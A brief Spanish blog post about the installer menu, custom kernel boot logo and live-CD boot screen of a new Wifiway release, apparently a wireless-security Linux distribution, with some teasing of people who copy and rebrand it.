Menu – Sistema – Wifiway Install, encontramos varias opciones, la que lo engloba todo es
>> Install Wifiway , en idioma ingles y castellano, aunque tambien podemos encontar 3 posiblidades mostradas en versiones anterirores, copia del contenido, edicion y creacion del GRUB, modifcacion MBR, etc

Posiblemente algunos de vosotros ya haya vosto dicho manual y habreis pensado, pero si eso no estaba en la version beta, digamos que el manual ha salido antes que la propia live

Logo exclusivo wifiway carga kernel, asi los copiones de siempre, por lo menos esta vez se tendran que molestar en compilar el kernel, cosa que tambien esta facilitada en la nueva wifiway, pero que son tan simples que solo la palabra compilar kernel posiblemente los heche para atras, aunque tampoco me extrañaria que dejaran el propio logo y saquen una version propia , ¿se aceptan apuestas?

Carga de livecd tuneda, adaptada y exclusiva para wifiway……….venga que esta tambien es facil de modificar.

Categories: GNU/Linux, Seguridad, Wireless Tags: